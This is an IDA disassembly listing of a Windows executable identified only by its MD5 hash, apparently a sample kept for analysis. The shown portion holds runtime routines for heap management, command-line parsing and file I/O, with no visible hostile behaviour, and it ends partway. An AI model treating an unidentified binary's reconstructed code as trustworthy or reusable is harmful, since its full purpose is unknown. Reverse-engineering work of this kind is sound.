;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	83B454F0D3AB7F6F58BE0AFEC8D35BD1

; File Name   :	u:\work\83b454f0d3ab7f6f58be0afec8d35bd1_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000387C (  14460.)
; Section size in file		: 00003A00 (  14848.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_401000	dd offset dword_401004	; DATA XREF: CODE:0040314Co
					; CODE:00403154o
dword_401004	dd 7453060Ah, 676E6972h	; DATA XREF: CODE:off_401000o
; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION HeapAlloc. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION HeapReAlloc. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION HeapFree.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetFileType. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetSystemTime. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO	EXPAND]
		align 4


loc_401094:				; DATA XREF: sub_401C70o
		jmp	ds:RaiseException
; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ReadFile.	PRESS KEYPAD "+" TO EXPAND]
		align 4


loc_4010A4:				; DATA XREF: sub_401C70+Ao
		jmp	ds:RtlUnwind
; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SysReAllocStringLen. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SysFreeString. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS	KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010F4	proc near		; CODE XREF: sub_401144+4p
					; sub_401174+3Fp
					; DATA XREF: ...
		push	eax		; dwBytes
		mov	eax, ds:dwFlags
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapAlloc
		retn
sub_4010F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401108	proc near		; CODE XREF: sub_40115C+4p
					; sub_401174+26p
					; DATA XREF: ...
		push	ebx
		mov	ebx, eax
		push	ebx		; lpMem
		mov	eax, ds:dwFlags
		and	eax, 1
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapFree
		cmp	eax, 1
		sbb	eax, eax
		neg	eax
		and	eax, 7Fh
		pop	ebx
		retn
sub_401108	endp


; =============== S U B	R O U T	I N E =======================================



sub_40112C	proc near		; CODE XREF: sub_401174+Dp
					; DATA XREF: DATA:off_405048o
		push	edx		; dwBytes
		push	eax		; lpMem
		mov	eax, ds:dwFlags
		and	eax, 0
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapReAlloc
		retn
sub_40112C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401144	proc near		; CODE XREF: sub_401E84+Cp
					; sub_40265C+CAp ...
		test	eax, eax
		jz	short locret_401152
		call	ds:off_405040
		or	eax, eax
		jz	short loc_401153

locret_401152:				; CODE XREF: sub_401144+2j
		retn
; ---------------------------------------------------------------------------


loc_401153:				; CODE XREF: sub_401144+Cj
		mov	al, 1
		jmp	sub_40121C
sub_401144	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40115C	proc near		; CODE XREF: sub_401DC4+1Bp
					; sub_401DE8+20p ...
		test	eax, eax
		jz	short locret_40116A
		call	ds:off_405044
		or	eax, eax
		jnz	short loc_40116B

locret_40116A:				; CODE XREF: sub_40115C+2j
		retn
; ---------------------------------------------------------------------------


loc_40116B:				; CODE XREF: sub_40115C+Cj
		mov	al, 2
		jmp	sub_40121C
sub_40115C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401174	proc near		; CODE XREF: sub_402184+22p
					; sub_40265C+BBp
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4011AC
		test	edx, edx
		jz	short loc_401196
		push	eax
		mov	eax, ecx
		call	ds:off_405048
		pop	ecx
		or	eax, eax
		jz	short loc_4011A5
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40118F:				; CODE XREF: sub_401174+2Ej
		mov	al, 2
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_401196:				; CODE XREF: sub_401174+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_405044
		or	eax, eax
		jnz	short loc_40118F
		retn
; ---------------------------------------------------------------------------


loc_4011A5:				; CODE XREF: sub_401174+16j
					; sub_401174+48j
		mov	al, 1
		jmp	sub_40121C
; ---------------------------------------------------------------------------


loc_4011AC:				; CODE XREF: sub_401174+4j
		test	edx, edx
		jz	short locret_4011C0
		push	eax
		mov	eax, edx
		call	ds:off_405040
		pop	ecx
		or	eax, eax
		jz	short loc_4011A5
		mov	[ecx], eax

locret_4011C0:				; CODE XREF: sub_401174+3Aj
		retn
sub_401174	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4011C4	proc near		; CODE XREF: sub_4011D0+42p
		mov	ds:dword_405004, edx
		call	sub_401DAC
sub_4011C4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4011D0	proc near		; CODE XREF: sub_40121C+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_406004, 0
		jz	short loc_4011EC
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_406004


loc_4011EC:				; CODE XREF: sub_4011D0+10j
		test	bl, bl
		jnz	short loc_4011FD
		call	sub_40299C
		mov	ebx, [eax+0]
		jmp	short loc_40120C
; ---------------------------------------------------------------------------


loc_4011FD:				; CODE XREF: sub_4011D0+1Ej
		cmp	bl, 18h
		ja	short loc_40120C
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_40504C[eax]


loc_40120C:				; CODE XREF: sub_4011D0+2Bj
					; sub_4011D0+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_4011C4
sub_4011D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40121C	proc near		; CODE XREF: sub_401144+11j
					; sub_40115C+11j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_4011D0
sub_40121C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401228	proc near		; CODE XREF: sub_402CDC+59p
					; sub_402CDC+69p ...
		push	eax
		push	edx
		push	ecx
		call	sub_40299C
		cmp	dword ptr [eax+0], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_40123D
		retn
; ---------------------------------------------------------------------------


loc_40123D:				; CODE XREF: sub_401228+12j
		xor	eax, eax
		jmp	sub_40121C
sub_401228	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401248	proc near		; CODE XREF: sub_401258+5p
					; sub_40171C+36p ...
		push	ebx
		mov	ebx, eax
		call	sub_40299C
		mov	[eax+0], ebx
		pop	ebx
		retn
sub_401248	endp


; =============== S U B	R O U T	I N E =======================================



sub_401258	proc near		; CODE XREF: sub_40185C+28p
					; sub_4018E4+17p
		call	GetLastError
		call	sub_401248
		retn
sub_401258	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401264	proc near		; CODE XREF: sub_4016A4+4Fp
					; sub_401840+14p ...
		cmp	ecx, 4
		jge	short loc_401285
		jcxz	locret_4012C3
		cmp	eax, edx
		jz	short locret_4012C3
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		ja	short loc_401281
		lea	esi, [ecx+esi-1]
		lea	edi, [ecx+edi-1]
		std


loc_401281:				; CODE XREF: sub_401264+12j
		rep movsb
		jmp	short loc_4012B1
; ---------------------------------------------------------------------------


loc_401285:				; CODE XREF: sub_401264+3j
		cmp	eax, edx
		jz	short locret_4012C3
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		ja	short loc_4012B3
		and	ecx, 3
		lea	esi, [eax+esi-1]
		lea	edi, [eax+edi-1]
		std
		rep movsb
		sar	eax, 2
		mov	ecx, eax
		mov	eax, 3
		sub	esi, eax
		sub	edi, eax
		rep movsd


loc_4012B1:				; CODE XREF: sub_401264+1Fj
		cld
		dec	ecx


loc_4012B3:				; CODE XREF: sub_401264+2Dj
		sar	ecx, 2
		js	short loc_4012C1
		rep movsd
		and	eax, 3
		mov	ecx, eax
		rep movsb


loc_4012C1:				; CODE XREF: sub_401264+52j
		pop	edi
		pop	esi

locret_4012C3:				; CODE XREF: sub_401264+5j
					; sub_401264+Aj ...
		retn
sub_401264	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012C4	proc near		; CODE XREF: sub_4013B0+41p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_4012D6
; ---------------------------------------------------------------------------


loc_4012CE:				; CODE XREF: sub_4012C4+1Aj
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax


loc_4012D6:				; CODE XREF: sub_4012C4+8j
					; sub_4012C4+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_4012E0
		cmp	al, 20h
		jbe	short loc_4012CE


loc_4012E0:				; CODE XREF: sub_4012C4+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4012F0
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_4012F0
		add	ebx, 2
		jmp	short loc_4012D6
; ---------------------------------------------------------------------------


loc_4012F0:				; CODE XREF: sub_4012C4+1Fj
					; sub_4012C4+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_401339
; ---------------------------------------------------------------------------


loc_4012F6:				; CODE XREF: sub_4012C4+79j
		cmp	al, 22h
		jnz	short loc_40132B
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_401312
; ---------------------------------------------------------------------------


loc_401304:				; CODE XREF: sub_4012C4+56j
		push	ebx		; lpsz
		call	CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401312:				; CODE XREF: sub_4012C4+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_40131C
		cmp	al, 22h
		jnz	short loc_401304


loc_40131C:				; CODE XREF: sub_4012C4+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_401339
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_401339
; ---------------------------------------------------------------------------


loc_40132B:				; CODE XREF: sub_4012C4+34j
		push	ebx		; lpsz
		call	CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401339:				; CODE XREF: sub_4012C4+30j
					; sub_4012C4+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_4012F6
		mov	eax, esi
		mov	edx, ebp
		call	sub_402184
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_4013A1
; ---------------------------------------------------------------------------


loc_401350:				; CODE XREF: sub_4012C4+E1j
		cmp	al, 22h
		jnz	short loc_40138C
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_401373
; ---------------------------------------------------------------------------


loc_40135E:				; CODE XREF: sub_4012C4+B7j
		push	ebx		; lpsz
		call	CharNextA
		cmp	eax, ebx
		jbe	short loc_401373


loc_401368:				; CODE XREF: sub_4012C4+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_401368


loc_401373:				; CODE XREF: sub_4012C4+98j
					; sub_4012C4+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_40137D
		cmp	al, 22h
		jnz	short loc_40135E


loc_40137D:				; CODE XREF: sub_4012C4+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_4013A1
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_4013A1
; ---------------------------------------------------------------------------


loc_40138C:				; CODE XREF: sub_4012C4+8Ej
		push	ebx		; lpsz
		call	CharNextA
		cmp	eax, ebx
		jbe	short loc_4013A1


loc_401396:				; CODE XREF: sub_4012C4+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_401396


loc_4013A1:				; CODE XREF: sub_4012C4+8Aj
					; sub_4012C4+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_401350
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4013B0	proc near		; CODE XREF: CODE:00404096p
					; CODE:004041CBp ...

Filename	= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_401DC4
		test	esi, esi
		jnz	short loc_4013E6
		push	105h		; nSize
		lea	eax, [esp+118h+Filename]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_401EB0
		jmp	short loc_401404
; ---------------------------------------------------------------------------


loc_4013E6:				; CODE XREF: sub_4013B0+16j
		call	GetCommandLineA
		mov	edi, eax


loc_4013ED:				; CODE XREF: sub_4013B0+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_4012C4
		mov	edi, eax
		test	esi, esi
		jz	short loc_401404
		cmp	dword ptr [ebx], 0
		jz	short loc_401404
		dec	esi
		jmp	short loc_4013ED
; ---------------------------------------------------------------------------


loc_401404:				; CODE XREF: sub_4013B0+34j
					; sub_4013B0+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401410	proc near		; CODE XREF: CODE:004041EAp

SystemTime	= _SYSTEMTIME ptr -18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		call	GetSystemTime
		movzx	eax, [ebp+SystemTime.wHour]
		imul	eax, 3Ch
		add	ax, [ebp+SystemTime.wMinute]
		imul	eax, 3Ch
		xor	edx, edx
		mov	dx, [ebp+SystemTime.wSecond]
		add	eax, edx
		imul	eax, 3E8h
		mov	dx, [ebp+SystemTime.wMilliseconds]
		add	eax, edx
		mov	ds:dword_405008, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_401410	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40144C	proc near		; DATA XREF: CODE:00401528o
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebx+10h], eax
		xor	eax, eax
		mov	[ebx+0Ch], eax
		push	0		; lpOverlapped
		lea	eax, [ebx+10h]
		push	eax		; lpNumberOfBytesRead
		mov	eax, [ebx+8]
		push	eax		; nNumberOfBytesToRead
		mov	eax, [ebx+14h]
		push	eax		; lpBuffer
		mov	eax, [ebx]
		push	eax		; hFile
		call	ReadFile
		test	eax, eax
		jnz	short loc_401481
		call	GetLastError
		cmp	eax, 6Dh
		jnz	short loc_401483
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401481:				; CODE XREF: sub_40144C+25j
		xor	eax, eax


loc_401483:				; CODE XREF: sub_40144C+2Fj
		pop	ebx
		retn
sub_40144C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401488	proc near		; DATA XREF: CODE:0040155Fo
					; CODE:0040162Fo ...
		xor	eax, eax
		retn
sub_401488	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40148C	proc near		; DATA XREF: CODE:loc_401551o
					; CODE:00401677o

NumberOfBytesWritten= dword ptr	-0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		mov	esi, [ebx+0Ch]
		test	esi, esi
		jnz	short loc_40149C
		xor	eax, eax
		jmp	short loc_4014C2
; ---------------------------------------------------------------------------


loc_40149C:				; CODE XREF: sub_40148C+Aj
		push	0		; lpOverlapped
		lea	eax, [esp+10h+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	esi		; nNumberOfBytesToWrite
		mov	eax, [ebx+14h]
		push	eax		; lpBuffer
		mov	eax, [ebx]
		push	eax		; hFile
		call	WriteFile
		test	eax, eax
		jnz	short loc_4014BB
		call	GetLastError
		jmp	short loc_4014BD
; ---------------------------------------------------------------------------


loc_4014BB:				; CODE XREF: sub_40148C+26j
		xor	eax, eax


loc_4014BD:				; CODE XREF: sub_40148C+2Dj
		xor	edx, edx
		mov	[ebx+0Ch], edx


loc_4014C2:				; CODE XREF: sub_40148C+Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40148C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014C8	proc near		; CODE XREF: sub_4014D8+Bp
					; sub_4018E4+Ep
		push	ebx
		mov	ebx, eax
		push	ebx		; hObject
		call	CloseHandle
		dec	eax
		setz	al
		pop	ebx
		retn
sub_4014C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014D8	proc near		; DATA XREF: CODE:loc_401558o
		push	ebx
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		mov	eax, [ebx]
		call	sub_4014C8
		test	al, al
		jnz	short loc_4014F3
		call	GetLastError
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4014F3:				; CODE XREF: sub_4014D8+12j
		xor	eax, eax
		pop	ebx
		retn
sub_4014D8	endp

; ---------------------------------------------------------------------------
		align 4


loc_4014F8:				; DATA XREF: sub_4016A4+35o
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	ax, [esi+4]
		sub	eax, 0D7B1h
		jz	short loc_401519
		dec	eax
		jz	short loc_401531
		dec	eax
		jz	short loc_401542
		jmp	loc_401680
; ---------------------------------------------------------------------------


loc_401519:				; CODE XREF: CODE:0040150Cj
		mov	eax, 80000000h
		mov	edx, 1
		mov	ecx, 3
		mov	dword ptr [esi+1Ch], offset sub_40144C
		jmp	short loc_401558
; ---------------------------------------------------------------------------


loc_401531:				; CODE XREF: CODE:0040150Fj
		mov	eax, 40000000h
		mov	edx, 1
		mov	ecx, 2
		jmp	short loc_401551
; ---------------------------------------------------------------------------


loc_401542:				; CODE XREF: CODE:00401512j
		mov	eax, 0C0000000h
		mov	edx, 1
		mov	ecx, 3


loc_401551:				; CODE XREF: CODE:00401540j
		mov	dword ptr [esi+1Ch], offset sub_40148C


loc_401558:				; CODE XREF: CODE:0040152Fj
		mov	dword ptr [esi+24h], offset sub_4014D8
		mov	dword ptr [esi+20h], offset sub_401488
		cmp	byte ptr [esi+48h], 0
		jz	loc_401622
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	loc_401696
		mov	[esi], eax
		cmp	word ptr [esi+4], 0D7B3h
		jnz	loc_40165F
		dec	word ptr [esi+4]
		push	0
		push	dword ptr [esi]
		call	GetFileSize
		inc	eax
		jz	loc_401696
		sub	eax, 81h
		jnb	short loc_4015B9
		xor	eax, eax


loc_4015B9:				; CODE XREF: CODE:004015B5j
		push	0
		push	0
		push	eax
		push	dword ptr [esi]
		call	SetFilePointer
		inc	eax
		jz	loc_401696
		push	0
		mov	edx, esp
		push	0
		push	edx
		push	80h
		lea	edx, [esi+14Ch]
		push	edx
		push	dword ptr [esi]
		call	ReadFile
		pop	edx
		dec	eax
		jnz	loc_401696
		xor	eax, eax


loc_4015F0:				; CODE XREF: CODE:004015FFj
		cmp	eax, edx
		jnb	short loc_40165F
		cmp	byte ptr [esi+eax+14Ch], 0Eh
		jz	short loc_401601
		inc	eax
		jmp	short loc_4015F0
; ---------------------------------------------------------------------------


loc_401601:				; CODE XREF: CODE:004015FCj
		push	2
		push	0
		sub	eax, edx
		push	eax
		push	dword ptr [esi]
		call	SetFilePointer
		inc	eax
		jz	loc_401696
		push	dword ptr [esi]
		call	SetEndOfFile
		dec	eax
		jnz	short loc_401696
		jmp	short loc_40165F
; ---------------------------------------------------------------------------


loc_401622:				; CODE XREF: CODE:0040156Aj
		lea	eax, [esi+14Ch]
		mov	dword ptr [esi+8], 80h
		mov	dword ptr [esi+24h], offset sub_401488
		mov	[esi+14h], eax
		cmp	word ptr [esi+4], 0D7B2h
		jz	short loc_401645
		push	0FFFFFFF6h
		jmp	short loc_401653
; ---------------------------------------------------------------------------


loc_401645:				; CODE XREF: CODE:0040163Fj
		cmp	esi, offset dword_4061F0
		jnz	short loc_401651
		push	0FFFFFFF4h
		jmp	short loc_401653
; ---------------------------------------------------------------------------


loc_401651:				; CODE XREF: CODE:0040164Bj
		push	0FFFFFFF5h


loc_401653:				; CODE XREF: CODE:00401643j
					; CODE:0040164Fj
		call	GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401696
		mov	[esi], eax


loc_40165F:				; CODE XREF: CODE:00401596j
					; CODE:004015F2j ...
		cmp	word ptr [esi+4], 0D7B1h
		jz	short loc_40167E
		push	dword ptr [esi]
		call	GetFileType
		test	eax, eax
		jz	short loc_401682
		cmp	eax, 2
		jnz	short loc_40167E
		mov	dword ptr [esi+20h], offset sub_40148C


loc_40167E:				; CODE XREF: CODE:00401665j
					; CODE:00401675j
		xor	eax, eax


loc_401680:				; CODE XREF: CODE:00401514j
					; CODE:00401694j ...
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401682:				; CODE XREF: CODE:00401670j
		push	dword ptr [esi]
		call	CloseHandle
		mov	word ptr [esi+4], 0D7B0h
		mov	eax, 69h
		jmp	short loc_401680
; ---------------------------------------------------------------------------


loc_401696:				; CODE XREF: CODE:00401588j
					; CODE:004015AAj ...
		mov	word ptr [esi+4], 0D7B0h
		call	GetLastError
		jmp	short loc_401680
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4016A4	proc near		; CODE XREF: sub_402CDC+44p
					; CODE:004042D5p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 14Ch
		call	sub_4018A8
		lea	eax, [ebx+14Ch]
		mov	[ebx+14h], eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	eax, eax
		mov	al, ds:byte_405014
		mov	[ebx+6], ax
		mov	dword ptr [ebx+8], 80h
		mov	dword ptr [ebx+18h], offset loc_4014F8
		mov	eax, esi
		call	sub_401F04
		push	eax
		mov	eax, esi
		call	sub_402058
		lea	edx, [ebx+48h]
		pop	ecx
		call	sub_401264
		mov	eax, esi
		call	sub_401F04
		mov	byte ptr [ebx+eax+48h],	0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_4016A4	endp

; ---------------------------------------------------------------------------
		align 4


loc_40170C:				; DATA XREF: sub_4017A8+Do
		jmp	ds:__imp_ReadFile
; ---------------------------------------------------------------------------
		align 4


loc_401714:				; DATA XREF: sub_4017C8+Do
		jmp	ds:__imp_WriteFile
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40171C	proc near		; CODE XREF: sub_4017A8+14p
					; sub_4017C8+14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		movzx	edx, word ptr [ebx+4]
		and	edx, eax
		cmp	eax, edx
		jnz	short loc_40178E
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+8]
		imul	esi
		push	eax
		push	edi
		mov	eax, [ebx]
		push	eax
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_40175E
		call	GetLastError
		call	sub_401248
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_40179D
; ---------------------------------------------------------------------------


loc_40175E:				; CODE XREF: sub_40171C+2Fj
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_40177A
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		jmp	short loc_40179D
; ---------------------------------------------------------------------------


loc_40177A:				; CODE XREF: sub_40171C+52j
		cmp	esi, [ebp+var_4]
		jz	short loc_40179D
		mov	eax, [ebp+arg_0]
		call	sub_401248
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_40179D
; ---------------------------------------------------------------------------


loc_40178E:				; CODE XREF: sub_40171C+18j
		mov	eax, 67h
		call	sub_401248
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_40179D:				; CODE XREF: sub_40171C+40j
					; sub_40171C+5Cj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_40171C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017A8	proc near		; CODE XREF: sub_402CDC+A0p
					; sub_402CDC+10Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B1h
		push	offset loc_40170C
		push	64h
		call	sub_40171C
		pop	ebx
		pop	ebp
		retn	4
sub_4017A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


